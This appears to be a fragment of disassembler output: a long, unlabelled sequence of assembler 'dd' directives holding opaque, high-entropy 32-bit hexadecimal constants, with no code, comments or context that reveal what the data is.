		dd 2570DC84h, 0C24C5Fh,	280BBD55h, 74E90D77h, 7FA4575Bh
		dd 0BC304511h, 0C8633C50h, 40E9C317h, 92C0960h,	9ADF58C6h
		dd 0B6E4082Bh, 74E1343Eh, 4A59F6BBh, 32A229FFh,	807525E2h
		dd 2D2CB987h, 81540167h, 6514C5C1h, 80A3B04h, 36038C55h
		dd 5F30057Ah, 8358E16Eh, 345DE584h, 690B774h, 0C0180A76h
		dd 0E7598618h, 892F51A1h, 0E02C82F1h, 0AB96DD79h, 0D76453FAh
		dd 0F980421Ah, 7BD3A030h, 4E01FA9Ch, 0B0EBA4ADh, 5A1D41B0h
		dd 0C252E22Ch, 0C49FB2EEh, 590539DFh, 0C02DAF29h, 36252C40h
		dd 7CCE4C44h, 0F1DC983Ah, 0C52805Eh, 297622D6h,	48081CD0h
		dd 563F1C13h, 68E90284h, 5A38FCFAh, 98072CAEh, 418D0262h
		dd 0D4C30F9Eh, 9CC9E828h, 0C42B68C9h, 660BEE21h, 837924FEh
		dd 323F02D9h, 6BE26841h, 106385F6h, 0D55E92E9h,	589DDD46h
		dd 8B6C32E7h, 60D75816h, 0B0E620C3h, 589E9840h,	787CD4F5h
		dd 4494A6EEh, 69256802h, 95291829h, 64C0B530h, 0C69F2692h
		dd 6A4E2024h, 4017BE7Bh, 8D006382h, 0FE7D50FBh,	33F75C01h
		dd 0BDDC6B13h, 70A60204h, 0D8582F9Ah, 6F4F0576h, 0BF054077h
		dd 59E900F0h, 0BF0362F4h, 110D565Ah, 66BC73D1h,	9F6B4C75h
		dd 1FC4A952h, 5572E387h, 0C8B4A7D9h, 0C914CFE2h, 7D22CB48h
		dd 157F2119h, 96B969FAh, 0B9E9F142h, 8BFC7C0Fh,	8AD008EAh
		dd 51E013Ch, 5CE95525h,	0BBBBBD0h, 1721395Fh, 0D47CA05Eh
		dd 280132F0h, 0C0ED6435h, 0C6203186h, 12654BE9h, 6F94AA58h
		dd 0B4E2ECEFh, 0DE6098E5h, 60EF4134h, 399A3C22h, 4D3AD0B5h
		dd 2784DE6Dh, 0FC2D1C81h, 0B4817E0h, 0DFD6C98Dh, 0B0B3046Fh
		dd 0A268158Ch, 62A85EA0h, 0FC093A42h, 82F02B0h,	0D0C8091Ch
		dd 0AF2E3512h, 4A16890Bh, 73086760h, 5670E309h,	15614F2h
		dd 2300980Ah, 0E9DFB9ECh, 0CD9205F1h, 311B689Dh, 0C5A4B512h
		dd 218BBF21h, 0B55E9848h, 29892B5Dh, 0EB6D653Bh, 18047552h
		dd 314F5AAh, 0B60EA4Ah,	464667E7h, 0E90A4049h, 0F6A1B05Bh
		dd 5E4BB77Bh, 0E90BA6CEh, 87C6EA44h, 41CBC4FEh,	68B2D532h
		dd 0D135FC55h, 34142C68h, 0E9AB3864h, 70F84FE3h, 6BCAAA4Fh
		dd 16596809h, 4D8CEBD1h, 0EC213487h, 0BD2B05Dh,	0D55A571Eh
		dd 6FEFB049h, 4D306FE5h, 0D520BD94h, 0B6479755h, 5A5AF2F6h
		dd 0A0AFF9D4h, 6DF85F14h, 0FE879AD6h, 31BC4C80h, 0E6A31605h
		dd 333A040Eh, 772909E2h, 0EBF03FCCh, 0DF9B6A17h, 2A2029FBh
		dd 4956291Ch, 85C1C8C2h, 0CFEE5B08h, 38885BD9h,	0C123401Ah
		dd 2406E23Ch, 0BF80F6A2h, 5F84595Eh, 0D5C19747h, 8006C2E3h
		dd 0C3283A82h, 3252EAF2h, 0CB1677B6h, 0EA7182F7h, 8DA518Fh
		dd 68042308h, 0B8541Dh,	0D02758C1h, 0E0907E13h,	0A65B5553h
		dd 0A3F3006Fh, 0E9EC2FD8h, 58C1CE07h, 1F73D035h, 2EEAEC3h
		dd 0E9485B3Bh, 0F75EFAF7h, 7559CC0Bh, 92F766CAh, 0EB4D8557h
		dd 0FA333BC9h, 8DA5DA3Eh, 48778942h, 9BF5716h, 3E3C78F0h
		dd 0B4C7ADFh, 0C3871004h, 5525C6F6h, 0EA805609h, 14EA58D1h
		dd 7BB27A97h, 20F8B846h, 590AB064h, 9557C480h, 0E314BD1Ch
		dd 0F5AC75A0h, 0E96512C1h, 0CA87F63Fh, 4B8B353h, 0C3DC2D8h
		dd 0E2E3680h, 0D8B75941h, 0E6FA9097h, 2F425F1h,	2430B5FEh
		dd 58A7F321h, 0E6589D9Fh, 42CAA4Bh, 92B949E6h, 426AFD26h
		dd 14FF4C45h, 0D968122Ah, 9396377Ch, 0E213D388h, 0DA2E2BBh
		dd 714A075Bh, 49C48FF0h, 74CDAA75h, 70604119h, 0DD561733h
		dd 0BF87176Fh, 97CE5D2Ch, 7EA6F20Eh, 801CCADBh,	0ECC9AAF4h
		dd 0CC82FDDDh, 0BDC7C830h, 0A9B15104h, 0F6D5DBADh, 0BF9D5635h
		dd 46A11727h, 0E83F3F13h, 0C6F3C0CFh, 0C13A9E7Ch, 3F27C918h
		dd 83A52F5Ch, 4CB1EDF0h, 86109956h, 0B9402CE5h,	9140C710h
		dd 0B8ED69D1h, 658C115Ch, 8915D388h, 0EB77EC56h, 93694B5h
		dd 57472791h, 624A5157h, 0E24251C5h, 2BB22A40h,	0DB0C012Ch
		dd 5AEFB68Ch, 1E7EB789h, 9F193D58h, 70CB2D5Ch, 0AF4F941Bh
		dd 5E71065Dh, 2A280B0Eh, 0A5D5A0D1h, 0E0AFC3B9h, 8F636640h
		dd 5ADAAF52h, 517AD72h,	19494ED4h, 0E9D4C8BEh, 0A0B1134Bh
		dd 44D2D433h, 92B47FFh,	1C1A84ACh, 0B8B10698h, 7DB39513h
		dd 8A4E077Eh, 0FDBAF100h, 3946CA72h, 1A0BF281h,	0F1502FF6h
		dd 504F0E6h, 693C687Ch,	0A158BDA9h, 0EEFB0D93h,	168B7E60h
		dd 6B0BD240h, 95B9121Ah, 51B17BEEh, 563F72Bh, 7A5B6F1Fh
		dd 17B25FBCh, 0B1D98AAh, 0E744CC5h, 0E0FCCB4Fh,	0D6FD29D4h
		dd 0AC5D083Dh, 0E48B511Dh, 556757F7h, 310B8427h, 18349CBAh
		dd 0DA88EF96h, 0FD1E38D9h, 0D5F5175Bh, 0A0F18153h, 0E1810060h
		dd 6D771D38h, 9502BE19h, 31BAAA3Eh, 0FF252F71h,	0DAB53968h
		dd 0FED8012h, 4C412F1h,	0D6E917F7h, 8B5BED02h, 0EBDB5E34h
		dd 0E1358EC0h, 0A86A5D81h, 2CA6D401h, 57499D44h, 296891D8h
		dd 0EE1CD336h, 126AA07h, 94C5009Bh, 9D78FE49h, 0B682B348h
		dd 0E9A1AB0Eh, 0CCBBB33Eh, 464E9148h, 0C54571AAh, 0DD580228h
		dd 685B4590h, 0C6157F25h, 5D9727CCh, 5E9783E7h,	61B006ECh
		dd 167E6963h, 1014C905h, 0AE0152D2h, 56FB7371h,	5B36D087h
		dd 0EEEA0B90h, 275080Bh, 3089D11h, 0B5B9FA31h, 26443F8Dh
		dd 6A1B0D81h, 989C74BBh, 0B2557E9Dh, 0EE8D3AA2h, 0FC3E6921h
		dd 0C301133Dh, 2EF11C12h, 0E231A87Bh, 12B854D1h, 0B9A3AA52h
		dd 60055789h, 4D75EAB9h, 0B1BBD1EEh, 5A4E23A1h,	45259302h
		dd 851D90Ah, 109C317h, 617480D7h, 22F8871h, 4E5F581h, 57E5C03h
		dd 1C4BF608h, 0CFA1258h, 0B3C31B67h, 0D9283A0Ch, 0B2031666h
		dd 7FE79FAAh, 2F6A0208h, 48CAA155h, 457CFED8h, 627DB84h
		dd 38B5505Dh, 19BC7443h, 2D0796E8h, 4110D551h, 0A4390500h
		dd 862D720Ah
		dd 9332BB09h, 0E6C5DF29h, 3224AD24h, 0DEACA53Dh, 0B473EC2Dh
		dd 24BD7631h, 0F80545A9h, 87531D11h, 63FCAB52h,	0BEA7C54h
		dd 100A6E6Dh, 470B66FEh, 5EC5292Ah, 26E97063h, 889D9E5Ah
		dd 0D4F1FFAFh, 2DC1469h, 40F96855h, 978A7EACh, 0A656A7A1h
		dd 0A8E5F270h, 0B5AEEC6h, 502DA51Dh, 0A924BCF5h, 0B0D8236Bh
		dd 41D2906Ch, 0EA968213h, 75CAD9B3h, 0AAFC9250h, 0B4ED7582h
		dd 25D87CA5h, 110E55Fh,	0FB14A4C3h, 68892044h, 98796B25h
		dd 9053DA8h, 0B2E97473h, 0B6BD59A3h, 7C1055F3h,	6E4C016Ah
		dd 976FC628h, 0DD845307h, 35DD81Dh, 6F9DCB96h, 901B48Bh
		dd 826DE9Dh, 57256BE7h,	0CE550FEAh, 4CE91669h, 8A69E226h
		dd 0DDAFB755h, 0E95F1D00h, 5D950DD7h, 0E925DD3Eh, 1693D2EAh
		dd 0FCD8B252h, 0C9800988h, 0F0E58465h, 9997A7F8h, 0B30820Eh
		dd 0FC1EF280h, 0EEA21696h, 8EB14135h, 8EDAF03Fh, 589A3910h
		dd 0FF510584h, 0FD0B0144h, 6F8E2909h, 256A63C9h, 0B6C2D25Eh
		dd 0BA5D00DEh, 2177C2Bh, 753C29A4h, 0CD2A4E07h,	3DFD3AE7h
		dd 0CC6856C0h, 0E9FA1469h, 2BC2CE5Fh, 7B607547h, 0D081FEF7h
		dd 66599E22h, 0EF97B413h, 0BB4BFD9Ah, 5AAC7CD2h, 28F2B53Ah
		dd 9BCBE1C4h, 21977AB8h, 45E8E5E7h, 1FF40BD9h, 8171477h
		dd 63C33DEh, 8EF283Ch, 72D8F695h, 0B8CF985Fh, 0AA5000DCh
		dd 2F592D10h, 0C119440Ch, 0F9FA08E0h, 0D7D7919Dh, 5044909h
		dd 4BA6AFDDh, 978CD859h, 618020FCh, 0BD03DE5Ah,	697806B0h
		dd 0EEC58337h, 4B64ED0Fh, 90AF76E5h, 3F65E9B5h,	288856C6h
		dd 0A3662D52h, 524041D6h, 1A2C6853h, 0CB1EE10Ch, 0AAD0E884h
		dd 3D2F0239h, 0CB696E3Dh, 1F2652A8h, 1326E22h, 0C7DA76BBh
		dd 1BA02E64h, 95D2B705h, 0B2250AC2h, 8988777Ah,	55E90407h
		dd 0A042F896h, 2F45A0B8h, 4754BC4h, 5FA1A3D7h, 0B213F22Bh
		dd 6838C82Ch, 0CE73BFD4h, 9601B809h, 5172C0BAh,	0C57C97B9h
		dd 7BE2744Bh, 0ED16DC4h, 7FC1C980h, 0C42D1858h,	20615A4Eh
		dd 5E17F5DCh, 0F914D1F7h, 5EBC2F24h, 43804CCh, 0C74A80B8h
		dd 0D52D4602h, 80E0721Ch, 4ED4E908h, 0C003A5F2h, 0D606F4Fh
		dd 0FD074D0Ch, 635CBF3Dh, 0CD10820h, 0E89F7C14h, 4E685A86h
		dd 0E93202FDh, 255EEA62h, 72516980h, 60FA8963h,	7D0C125Fh
		dd 9402EEFh, 0B3E34BE9h, 0F25782Ch, 9312EB11h, 0EFE5C9D4h
		dd 0C501EB80h, 4B2EBB53h, 0F879742Dh, 0CD4A20EAh, 427879BDh
		dd 920FDC88h, 0BACEC5AEh, 0AD90EFE7h, 136FD310h, 0D6BC64B1h
		dd 8D35A2Eh, 0E94312A6h, 5E3F3BA8h, 0C54632Fh, 0E18F193h
		dd 4F78191h, 6558600Ah,	0B51AE829h, 2DE9B298h, 0A0DE1BC9h
		dd 41BE8C6Ch, 2AA12615h, 2D4A91F0h, 0AE9D84BBh,	81FB1C61h
		dd 0BE8EF04h, 0D284CBC9h, 0BFFDEAFAh, 0E2A7EB92h, 0DF32BC48h
		dd 0C2FD2928h, 0CC585721h, 71C1E083h, 38D2BF87h, 9EB8CF5Fh
		dd 6C51E1B1h, 2BF840Bh,	68779CBAh, 1808992Dh, 80AF42E0h
		dd 591CB450h, 0E1055FB1h, 93C4FE58h, 4DE29C2h, 9DA1AF68h
		dd 80768D60h, 5178D2F7h, 19F9E04Dh, 16865954h, 116A407Ah
		dd 562D57Ch, 14601C1Dh,	207A7C25h, 6F29BF07h, 8627D696h
		dd 0EBAC20A5h, 58926659h, 0E67E8851h, 0CAC79FEDh, 0E320C02Dh
		dd 81B8AADAh, 725A1561h, 4B3EAD2Bh, 0D141EBE1h,	63E9136Bh
		dd 1676CB30h, 0EB3D154Bh, 33B76D90h, 3539059Ah,	9437226h
		dd 0C1FC6DD1h, 0F58075ADh, 0B59CB379h, 0A24A7AFCh, 0DC969CFBh
		dd 66138DBEh, 0E8EEE9C4h, 0F51CA67Eh, 79415D02h, 7FAB4018h
		dd 0FCB5FED4h, 0C5AA5898h, 28F56C7h, 1AD28B73h,	2924B92Ah
		dd 29DD9B0Bh, 24E5F02Fh, 414F8DC4h, 0CAAD4AC8h,	31CD7FEh
		dd 8006E1C9h, 911C6266h, 5133807Ah, 2948AC71h, 22AB4EC6h
		dd 0BD644026h, 0C6086EA1h, 78BE0168h, 7756BC27h, 0DF2D600h
		dd 59051BDh, 1E148C09h,	0FA64FF2Ah, 2E43C205h, 50FF5870h
		dd 5D27083Ch, 948594D7h, 0BC408CCh, 4004C227h, 9F5159AFh
		dd 7A0C4799h, 4313CECEh, 3864EE9Bh, 77BA2D20h, 98729815h
		dd 89354AECh, 0DCB87A95h, 9DA9ED25h, 0E8CB5704h, 0F5CA9730h
		dd 0BD59A5Ah, 526F2FE9h, 0F218322Ah, 60D7D3CFh,	3C7BD5EBh
		dd 0BFCE6B38h, 127C81CCh, 0AEAE77B3h, 683DE2F6h, 295B20B1h
		dd 522D0097h, 2F1B3CB8h, 0EA1FC7BEh, 5AA53EB4h,	4992C28h
		dd 0B6DD670Ch, 0BD55005Dh, 3C281EC0h, 0E5C13D45h, 9C080666h
		dd 0D0264416h, 1363E906h, 0CA293B74h, 5304A0ADh, 9A24C05Bh
		dd 8072CCFEh, 0D460F6E6h, 288EF40Fh, 0ABE915E5h, 563B808Ah
		dd 0F4903993h, 5EB8E6BDh, 0C7F02092h, 25519A4Ch, 8BE45FF7h
		dd 0FEF4B013h, 0B2A667FBh, 0D2C42B5Fh, 4459052Dh, 0A50B9C22h
		dd 0BB0E88DFh, 0CFF10917h, 0A79EA82Eh, 0F3FA3605h, 1D3D1C31h
		dd 0C32D2921h, 356F6919h, 2C2B2425h, 0DF0843BFh, 40FD5F6h
		dd 0A1BFED80h, 7D06E9F4h, 4E06E33Bh, 9AFB65C4h,	9A5227BEh
		dd 4F875945h, 7564C0F2h, 7C73DC5Ah, 782A990h, 0E9D18401h
		dd 206075D8h, 0A6408DEEh, 8EE0DC0h, 280B050h, 0C584D09Ah
		dd 27CBC04h, 0E86B05BBh, 2A024078h, 3ED1134Fh, 0EB57BA31h
		dd 0B8EF14B4h, 0FA2076ADh, 174B7FECh, 0C560E925h, 1086EB84h
		dd 82D6C006h, 217E0D91h, 4B9FA95h, 20221004h, 46E9AE89h
		dd 42ABC686h, 8AEE317Dh, 74C8ED5Fh, 0E4D703F5h,	0EE89A2CCh
		dd 42A66F9h, 3E139AC0h,	812907A3h, 0B2E1AE7h, 0C3C7D380h
		dd 355B8932h, 9799CA9h,	9769F2B4h, 0C8D3D95Dh, 0AE09129Ch
		dd 0CA2EF92Dh, 3FFE419Eh, 9EC03B64h, 0BE768C14h, 4AE18919h
		dd 4FDB18DFh, 781E2816h, 0D41B37CBh, 8F2CDC1Dh,	256D4FD4h
		dd 6C0BC2A7h, 22AD2095h, 586BBE05h, 0A7007D86h,	67316646h
		dd 76DD48E9h, 9219F94Bh, 2EAB4B53h, 0D3AE4FCDh,	11123365h
		dd 2FCEC70Eh, 10DEE25Fh, 70C57F61h, 0DA20AE18h,	2F0A2C5Bh
		dd 4F63EC04h, 0B1126FA7h, 36A26F58h, 2EA8382h, 0AF13E7FDh
		dd 0B839F664h, 0FEFB17E9h, 9F4E5BDh, 0A707964h,	0DCE29FB4h
		dd 10D50927h, 2645BE92h, 0AA883AA5h, 7BCD383Dh,	90366E97h
		dd 0EFFF83E0h, 3954DEB5h, 56711A13h, 0D3CBEB44h, 27AAF503h
		dd 0E5E07684h, 0B33072EDh, 1024184Fh, 2D442F83h, 80BA665Ch
		dd 345D7E6Ch, 0A005E801h, 9A84E907h, 7CBD0CA0h,	437EE640h
		dd 82B21D58h, 0C0DE52F4h, 0B5B35E6Bh, 96011698h, 0FECBFE80h
		dd 5F3C923Ah, 85669405h, 0AF9B85E7h, 92DFA2Ch, 0AEA1E34Ah
		dd 0A791E5F7h, 77E92D56h, 0AE3BEDD1h, 17B7D154h, 0D59652F2h
		dd 38C2BA71h, 0AC46D549h, 5F39C42Dh, 0CADA4493h, 171AE555h
		dd 0B052FFC7h, 59F78401h, 0CBED91Eh, 2EA87981h,	4878E948h
		dd 0B90FC194h, 6408BE0Ah, 68022DEEh, 46AF2143h,	51FABDF7h
		dd 0BBD0D3FBh, 5524E962h, 7F69888Ah, 0D225C796h, 0E2CAF965h
		dd 1877A279h, 0BD1669ECh, 85EFB5D6h, 0EA2143E0h, 0F9D9FACAh
		dd 7342E87Fh, 0D7253196h, 0EA3763C0h, 5277DE9Dh, 455198F7h
		dd 0D35F827Eh, 2B740BD4h, 8B51D6FCh, 0FBF457DEh, 3479645Ah
		dd 0C784CD48h, 0F1C372F7h, 0D2D745EAh, 34F82DFBh, 57C10012h
		dd 0F15003FEh, 0A3782C23h, 0A8FCE2E7h, 6CEFB056h, 7B297110h
		dd 6F56B447h, 0BF96A1CAh, 22F6D48h, 0F57EA00Bh,	23F3555Ah
		dd 944A3602h, 0A44DE34Eh, 104C88BEh, 508F2438h,	3A09C9CBh
		dd 487E4946h, 2ECBE99Dh, 1658701Ch, 2B3AD8Dh, 185298E6h
		dd 0BBBF834h, 29EC6760h
		dd 0E0F875D0h, 0BF585480h, 72F910BBh, 897372DCh, 27885A5Ch
		dd 2D6AEB0h, 6C4C55E9h,	951C9EB5h, 0E0E17156h, 0F62BFEF2h
		dd 9A4B7B75h, 4BB82B02h, 352C607Fh, 464FA9Fh, 0FB95160h
		dd 1EAC43Fh, 0C133EC88h, 0BFE2CA3Ch, 17ED587Dh,	0FAFEF84Ch
		dd 66452421h, 9D5655C2h, 599CE9D0h, 0F53BF610h,	819BCEB0h
		dd 4009D3EFh, 0F5290399h, 6084688h, 3F3E1668h, 0FFAA582Dh
		dd 0AC5EE21Ch, 0D80183D4h, 44CD664Fh, 95E35F31h, 29580802h
		dd 20D4C4C8h, 5F9D0FDAh, 0D545EB26h, 5AB3C09Dh,	0AF2D4B5Bh
		dd 0D0683903h, 0BF6F1026h, 2BC34103h, 5E0204ABh, 171CB59h
		dd 46D4BB53h, 97707B28h, 0EB87800Ch, 8B01A4B8h,	0C1445E20h
		dd 128208E3h, 4E4DC4A2h, 0C64AC378h, 0ECF7ED13h, 4FD07F7Fh
		dd 0B8F2C0AEh, 0CB012DBBh, 3DED2508h, 0D54205E4h, 5EB05FB3h
		dd 0C6B7747Bh, 26139D5Dh, 677F3B4h, 1722E955h, 974D713Eh
		dd 448038CBh, 895E72E8h, 58394AC7h, 4BD80242h, 32E92F5Ah
		dd 0F9876C48h, 8D7F730h, 3127F181h, 77582D75h, 0CBC028B7h
		dd 30BBEC56h, 6DD52EF8h, 18053306h, 2E0C140h, 0C5EFD3C2h
		dd 9782806h, 80618616h,	843FC9FEh, 0C62DCCEBh, 0DFC300C0h
		dd 21E1255Eh, 88332FAh,	0E4141C41h, 7170F168h, 968D33E1h
		dd 4DE95F42h, 0BB71763Dh, 65577809h, 24093052h,	0F573B001h
		dd 0B0DEC0Ah, 0DADC8695h, 9F49D825h, 0E96200F1h, 4071CA1Dh
		dd 9AEC33EDh, 668E81B3h, 48E380E8h, 9D751D06h, 0F8ABA0E5h
		dd 0B9E9FD82h, 62EFF4FCh, 5903FACFh, 0CA64F9C3h, 4B5562A5h
		dd 2A1F985Bh, 0EFE4ED55h, 61F73024h, 4D191018h,	0DE84C09Fh
		dd 653A3E40h, 6F67067Fh, 6E890DDCh, 5F4DB335h, 69D5F02h
		dd 0D51D61A0h, 0AF3AE035h, 92C3C445h, 4B3F1A90h, 0F772003Ch
		dd 254840D0h, 5FE32FAh,	0BA0E11E2h, 16E9783Ah, 0E6EB0484h
		dd 0E1CC32AEh, 0A9965F5Bh, 15B35820h, 0B10B4668h, 15E3E518h
		dd 0DB887F05h, 6B21BDF4h, 3FC5215Fh, 5D2A5F80h,	810C01B2h
		dd 2B2F9FCBh, 5C68807Dh, 29834DE3h, 0F57AC0DDh,	30990B56h
		dd 8E2F0CC1h, 0A53A1164h, 81FDDD0Dh, 21A7BB5Eh,	83601CDAh
		dd 0BD25402Ah, 15371375h, 76703C56h, 2D68573Ch,	9AF3428Fh
		dd 0EE2902B0h, 5EF53087h, 5786C30h, 26141A58h, 0E59DC1DEh
		dd 0D9407AD2h, 3FE38166h, 0D330F434h, 5213AA73h, 0B49439A8h
		dd 3CAFC125h, 0A8FEC9A5h, 7EAA8BBAh, 6F5725A0h,	2031AA5Ch
		dd 0F5A07614h, 8390D6FBh, 63D75BF6h, 4A2DCAABh,	5D2F31EEh
		dd 0FBC98BEDh, 0C15F75Fh, 6722DD27h, 1276E5ADh,	2F0E64EFh
		dd 8F3014CAh, 0E9F76681h, 557A0595h, 6DC47580h,	0BD0D0148h
		dd 0FBF29F4h, 6E1C3F31h, 5B2763C5h, 0F335B604h,	949BFDEBh
		dd 30E94BC4h, 9CB57050h, 769F814Eh, 2F0956A6h, 68CE83BCh
		dd 67F277AAh, 0A589052h, 5A014DF3h, 75A3F281h, 0C8F61344h
		dd 28230E9Eh, 51FE47C3h, 0D3007EEh, 0FBD99DC9h,	8D100944h
		dd 0B0C87018h, 48B8B450h, 27D61120h, 0C55866h, 0C2CC888Fh
		dd 61648650h, 0E1E45165h, 1AD165F6h, 400C1B59h,	0E28CBBEDh
		dd 2F51967Ch, 68F8DA5Ch, 0A63FE5B8h, 33045060h,	724F4313h
		dd 4A2E15B9h, 2731A24Dh, 90FF4089h, 5FD3C9EFh, 0C1E7BCFEh
		dd 51EC3796h, 0A97BF9C7h, 5A04FF4Ah, 995F1C68h,	0B2AD7FAFh
		dd 8D28BE5Eh, 4BF6B859h, 14D8A2FAh, 14915366h, 398F81B0h
		dd 59EF14C5h, 0F8281389h, 6808D718h, 0B421583Dh, 8020B1C0h
		dd 0E1E6C7C1h, 0F3E9FC09h, 83D77E94h, 8584CFF1h, 0F8CD29E1h
		dd 8ABAE297h, 181850ECh, 670C1C64h, 0BB474CEEh,	0AFA5C83Eh
		dd 65D5D7C2h, 258391D5h, 37E67D58h, 76DBD531h, 0A760E8C1h
		dd 3B9C41A8h, 0B3A201ABh, 0F44F2808h, 0D99D6082h, 7FE970ADh
		dd 0CAC72195h, 35F1193Dh, 371F336Ch, 0D2E9DDB5h, 0C4FBECF4h
		dd 7EA2EFDEh, 0A9C0B9Fh, 0D59523FAh, 0A064F70Fh, 4B6BE21Ah
		dd 68B100B8h, 6DD7CA5Bh, 34598ACEh, 1022CEFDh, 60DD2327h
		dd 4A986857h, 45FF341h,	0C9C42F7Eh, 0A482BCC5h,	0E0465FA8h
		dd 4589BF4h, 57E588Eh, 28200D55h, 382D6690h, 6F772F94h
		dd 60E6A649h, 704F5D45h, 3C7383FDh, 164A5942h, 5D85AB1Fh
		dd 969F04FBh, 0E568003Fh, 0B4291826h, 0E8BDC496h, 0C8E65A74h
		dd 0FAF13A84h, 28694B33h, 4BF30111h, 683EA4C7h,	7B1E5D29h
		dd 33E0D725h, 52FCEF29h, 2241E926h, 4F30F8ADh, 29178237h
		dd 27F945C3h, 4F83B14h,	9DCBE486h, 323DC20Bh, 0ED6B78EBh
		dd 9CB654C8h, 9D72867h,	53BB5EE1h, 6F563B00h, 0E9101648h
		dd 0E54C11A7h, 4FAEF95Ah, 0C4E4BAE8h, 5CD8F042h, 5347F7BCh
		dd 11A0F0C4h, 80E30B28h, 68F61AEBh, 82DD4058h, 0A285EC7Dh
		dd 95B0D8BEh, 41113EDFh, 0AFC32033h, 46335C81h,	1F121D2Eh
		dd 1338D723h, 0DCECAD03h, 55CB7E10h, 0B9D0CA8Bh, 2664ECBDh
		dd 0A5450CDAh, 5134C057h, 0C279C68Bh, 0F9AD5AD7h, 711A54A5h
		dd 0DEF9896Dh, 7345E5Bh, 0C99B43C8h, 0F4BD94D2h, 0E95A0200h
		dd 797715F4h, 6ADCADB1h, 88E19656h, 501C52Fh, 18B86F78h
		dd 5BCC2A20h, 0C064EA98h, 34DEA2EBh, 0ECBE3714h, 32F0F479h
		dd 6CBA49FFh, 71E1E05Fh, 0EC615E5Eh, 8C3A265Fh,	994A5220h
		dd 0A25A1DA3h, 562180B6h, 0D32939D6h, 78C11822h, 195C1D46h
		dd 1ACD16EBh, 8F6C31AAh, 0DE6B3D82h, 740E22C9h,	492D71C1h
		dd 0C7CC4285h, 65B15101h, 0F6F40D60h, 53D260D6h, 7F1779EDh
		dd 8801612Dh, 5B050840h, 63F59DE9h, 686C3C7Eh, 0A7497050h
		dd 0F4FBF46Bh, 0A3772F0Fh, 2A0B02Bh, 1DEBEA71h,	0C4C319E2h
		dd 786EC1FCh, 51873EACh, 805D2284h, 1BB236D2h, 860E1C1h
		dd 0A5E6B712h, 0AE60B54Bh, 30F4EA31h, 15FCD64Ah, 0A5B7FEF4h
		dd 52F8E916h, 8FBCE8FBh, 41576BD3h, 0E97F71Ch, 0AFFDC46Eh
		dd 41C03698h, 0A272308Dh, 0D0FEB94h, 477CC0A8h,	25DE3F2Dh
		dd 8757116Ah, 4290F320h, 98218D6Dh, 0D9BB2F6Ch,	6D5C8011h
		dd 0EC2E1063h, 0B933248h, 18FF41BBh, 0E603A0B3h, 0D459D74h
		dd 0C9C2419Dh, 0E03B1D8Ah, 2A3BAE7h, 0E91FC305h, 0F274A6DBh
		dd 0D2545543h, 2582DC0Dh, 2A1A704Dh, 2EB9807Fh,	174B64EAh
		dd 0B36AC368h, 18A07096h, 1293AF42h, 6C4B9020h,	0F3808507h
		dd 46DD0FFEh, 714BBD9h,	523DDAB9h, 0F20CAEE7h, 0F797C26Dh
		dd 0C79162A2h, 0E2DD898Bh, 4E5380C4h, 0B529E36Eh, 2540EF40h
		dd 0A087444Bh, 84E9C231h, 0EB6CC775h, 3E160BD3h, 54473AF7h
		dd 4D0969D7h, 0FEAFF8F4h, 23348B71h, 9FB49C77h,	2E5EF490h
		dd 0B403408Ah, 0ECC00369h, 0F59FE906h, 3B38D574h, 0F1AA2C9Ah
		dd 0F2315D05h, 0DF5EE249h, 4AC41D7Bh, 2A139680h, 13876E2h
		dd 6549BF2h, 7215E932h,	0D6EF27DEh, 21ACBD58h, 32F3A003h
		dd 0EF85F8A2h, 5FA7F8DFh, 923FF65Bh, 0BA4BAFF3h, 87C83D71h
		dd 51C54F8Eh, 0B24D2C47h, 0E65D2D0h, 8105E8A8h,	5760EF0Ah
		dd 3FE9B001h, 0D1FF590Eh, 8E7F015Dh, 78603F83h,	18E01F4Bh
		dd 0AE0B189Fh, 4C92404Ah, 2DB902Dh, 0F060E996h,	0DA013B53h
		dd 5A86ABFFh, 0EB8063BAh, 0F46CC4FFh, 0CC5B8B7Ah, 2CF2F9E8h
		dd 0DBA3D47Dh, 4458C5C1h, 83F8AFA7h, 1AE5E90Bh,	25D86DF7h
		dd 692C99DDh, 0BF40092Eh, 300AF255h, 0E143304Eh, 0CE7917A9h
		dd 0F108009Fh, 400B0C19h, 0A603E76Ah, 0E9C1B85Fh, 7062002h
		dd 2A9137A1h, 0FD1699C5h, 0D3E287AEh, 5B003CFDh, 0AB6C8FEDh
		dd 0A2CD012Ah, 68080BE1h
		dd 821009A0h, 7A32AC0h,	0BB32DB01h, 0EFF8FAC3h,	0A0F4E02Fh
		dd 13A8CB5Fh, 559FF7F3h, 25D6C04Ch, 5083FEFAh, 45D4A61Ch
		dd 60A034A7h, 72047A40h, 302A2801h, 6E73F8ADh, 0D00318D7h
		dd 78C9152Ch, 48128E4Fh, 0C0AFFD40h, 1734686Fh,	0A01F5356h
		dd 581DF916h, 0E6817322h, 6DA913B4h, 0BA34220h,	313C3B3Ah
		dd 0C7317378h, 5DEB892Bh, 0A116A567h, 193BB9CDh, 290CFC38h
		dd 105F8E6Eh, 0B840256Bh, 0B15B1374h, 0B37BC569h, 0A56800A3h
		dd 0E96E177Ch, 0A5A8999Ah, 545087A3h, 2C4F9610h, 7561BD02h
		dd 7344BCEBh, 35E5A94Ah, 751BBADBh, 598C0CF4h, 33680D45h
		dd 31995460h, 5E61FFDDh, 5F029B56h, 9CCEFEE0h, 84017782h
		dd 3AFEE05Eh, 614212A7h, 7246E909h, 804D9E24h, 50BE4424h
		dd 0EF01CA17h, 292717F3h, 52BB4DE0h, 0E935AF09h, 5181A9FBh
		dd 3C59E9B7h, 3AC94588h, 94C04B98h, 0E2F82DB0h,	88E74E63h
		dd 59EB91D5h, 825E62ECh, 30EAED6h, 7963F5C0h, 18D4722Dh
		dd 81130D31h, 41272C5Eh, 123A28A7h, 61FE7F9Dh, 0C2568F6Ah
		dd 56FE565Dh, 66943B25h, 950E7082h, 750DCAE5h, 0F7DA17F6h
		dd 135B5EAAh, 0DF84FFEBh, 0FE9C85EEh, 0C1FFA437h, 19B944BEh
		dd 0B4C002Fh, 0E8314111h, 0B9C7395h, 36D3BF68h,	315E8617h
		dd 0C2B0FC27h, 0F2D1BB53h, 0D787EB09h, 2D92CB88h, 0E92D0216h
		dd 5832001Dh, 5EF26852h, 0DB88F63h, 76CC32E9h, 6119B73Fh
		dd 0C57AE9AFh, 57CB2639h, 0BA13CE05h, 0E7039331h, 1BE108Ah
		dd 0BB582546h, 0D3AA7925h, 4BD092E8h, 48DFBB17h, 9DD26AC8h
		dd 4580E5F9h, 0BEA7148Ch, 5920122Ah, 3120BE3Bh,	9DDA3DE9h
		dd 52C57351h, 11332580h, 2548B8CBh, 6959BEC8h, 5EC3290Ch
